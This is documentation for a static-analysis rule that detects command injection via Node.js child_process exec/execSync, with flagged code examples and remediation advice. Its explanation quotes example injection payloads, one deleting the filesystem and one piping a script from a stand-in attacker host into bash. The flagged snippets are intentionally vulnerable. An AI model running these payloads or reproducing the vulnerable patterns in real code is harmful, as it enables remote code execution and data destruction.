Skip to content

VNX-NODE-003: Command injection via child_process

Reports child_process exec()/execSync() called with a command built by template-literal interpolation or concatenation, or a variable assigned such a string or a request value nearby.

Updated 02 Nov 2026Checked against cli@de9b52a
Field Value
Rule ID VNX-NODE-003
Severity High
SARIF level error
Kind sast
Languages JavaScript / TypeScript
CWE CWE-78
CAPEC CAPEC-88
ATT&CK T1059
CWSS vector CWSS:1.0/TI:H/AP:A/AL:A/IC:N/FC:LT/RP:N/RL:A/AV:I/AS:N/IN:A/SC:A/BI:H/DI:H/EX:H/EC:N/P:H
Tags command-injection dangerous-function
Source internal/sast/rules/vnx-node-003.rego

Overview

This rule detects calls to exec() or execSync() from Node.js’s child_process module where the command string is built using template literals (` with ${}) or string concatenation (+). When any interpolated value originates from user input, an attacker can inject shell metacharacters to run arbitrary OS commands on the server. This is CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

exec() spawns a shell (/bin/sh -c on Unix) and is not disabled by default in Node.js. The safer alternatives execFile() and spawn() are also built into child_process but require explicit adoption. Template literals make it syntactically convenient to embed variables into command strings, which is why this pattern is so common in codebases that never intended to be vulnerable.

Why This Matters

exec() passes its first argument to the system shell (/bin/sh -c on Unix). The shell interprets metacharacters like ;, &&, ||, |, $(), and backticks as command separators or substitutions. An attacker who controls even a small portion of the command string, a filename, an ID, a format option, can append ;rm -rf / or ; curl attacker.com/shell.sh | bash. The resulting execution happens with the full privileges of the Node.js process, which in many deployments runs as root or a privileged service account.

A typical target is any endpoint that wraps a CLI tool: image conversion, PDF generation, Git operations, archive utilities, or network diagnostics. These are all legitimate use cases where developers reach for exec() out of convenience, often without realising how easily shell injection bypasses the intended functionality.

OWASP ASVS v4 requirement V5.3.8 states: “Verify that the application does not pass user-supplied input to OS commands, or that the application uses safe command execution APIs that prevent command injection.”

What Gets Flagged

A call that resolves to child_process exec/execSync (module binding, destructured or aliased import, require('child_process').exec, or a promisify(exec) wrapper) whose command is built at run time:

const { exec } = require('child_process');
// FLAGGED: template literal interpolation
exec(`ping -c 1 ${req.query.host}`, cb);

import * as cp from "node:child_process";
// FLAGGED: concatenation
cp.execSync("convert " + file + " -resize 64x64 png:-");

// FLAGGED: two-line form
const cmd = `git log --oneline ${branch}`;
child_process.exec(cmd, done);

// FLAGGED: promisified and aliased
const execAsync = promisify(exec);
await execAsync(`tar -xzf uploads/${name}`);

// FLAGGED: a request or argv value as the whole command
childProcess.exec(req.body.command, cb);

// FLAGGED: a template literal spanning lines
execSync(`convert \
  -resize ${size} ${input} out.png`);

Not flagged: re.exec(...), db.exec(...) and any other object’s exec, execFile/spawn with an argument array, constant commands such as execSync('git rev-parse HEAD'), and the pattern in comments or string literals. spawn(..., { shell: true }) is covered by VNX-NODE-026 and shelljs by VNX-NODE-022.

Remediation

  1. Replace exec/execSync with execFile/execFileSync. execFile does not invoke a shell, it executes the binary directly with an array of arguments. Shell metacharacters in individual arguments are passed as literal strings, not interpreted.

    // SAFE: execFile with array arguments, no shell, no injection
    const { execFile } = require('child_process');
    
    app.get('/convert', (req, res) => {
      const allowedFiles = /^[a-zA-Z0-9_\-]+\.(jpg|jpeg|png)$/;
      if (!allowedFiles.test(req.query.file)) {
        return res.status(400).send('Invalid filename');
      }
      execFile('convert', [req.query.file, 'output.png'], (err, stdout) => {
        if (err) return res.status(500).send('Conversion failed');
        res.send(stdout);
      });
    });
  2. Alternatively, use spawn with shell: false (the default). spawn streams stdout/stderr and avoids buffering large outputs in memory, making it preferable for long-running processes.

    // SAFE: spawn with explicit argument array
    const { spawn } = require('child_process');
    const proc = spawn('git', ['log', '--oneline', branchName]);
    proc.stdout.pipe(res);
  3. Validate and allowlist all inputs before use. Even with execFile, you should restrict the set of permitted values to a known-good allowlist. For branch names, filenames, or identifiers, enforce a strict regex (/^[a-zA-Z0-9_\-\.]+$/) and reject anything else.

  4. Prefer native Node.js libraries over shelling out. Many common CLI operations have pure-JS equivalents that eliminate the shell call entirely:

    npm install sharp          # image processing (replaces ImageMagick)
    npm install simple-git     # Git operations
    npm install archiver       # ZIP/TAR creation
    // SAFE: sharp for image processing, no shell, no exec
    const sharp = require('sharp');
    app.get('/convert', async (req, res) => {
      const filename = path.basename(req.query.file); // strip traversal
      await sharp(path.join(UPLOAD_DIR, filename)).png().toFile('output.png');
      res.send('Done');
    });
  5. Apply least privilege. Run the Node.js process under a dedicated user with the minimum OS permissions required. Use Linux capabilities, Docker’s --cap-drop, or a seccomp profile to restrict which system calls the process can make, limiting the blast radius of any injection.

References

Suppressing this rule

Put a nosec comment on the line, or on line 1 to cover the whole file. Use the comment marker of the file’s language (#, //, -- or ;):

# nosec vnx-node-003
// nosec vnx-node-003

Or record an ignore rule: vulnetix ignore add --rule vnx-node-003 --reason "...". See Suppressing findings.

Edit this pageSources: cli/internal/sast/rules/vnx-node-003.rego, cli/internal/sast/docs/vnx-node-003.md
esc
↑ ↓ move↵ openSearches in your browser. A key like autonomy.max or a code like threshold_required jumps straight to it.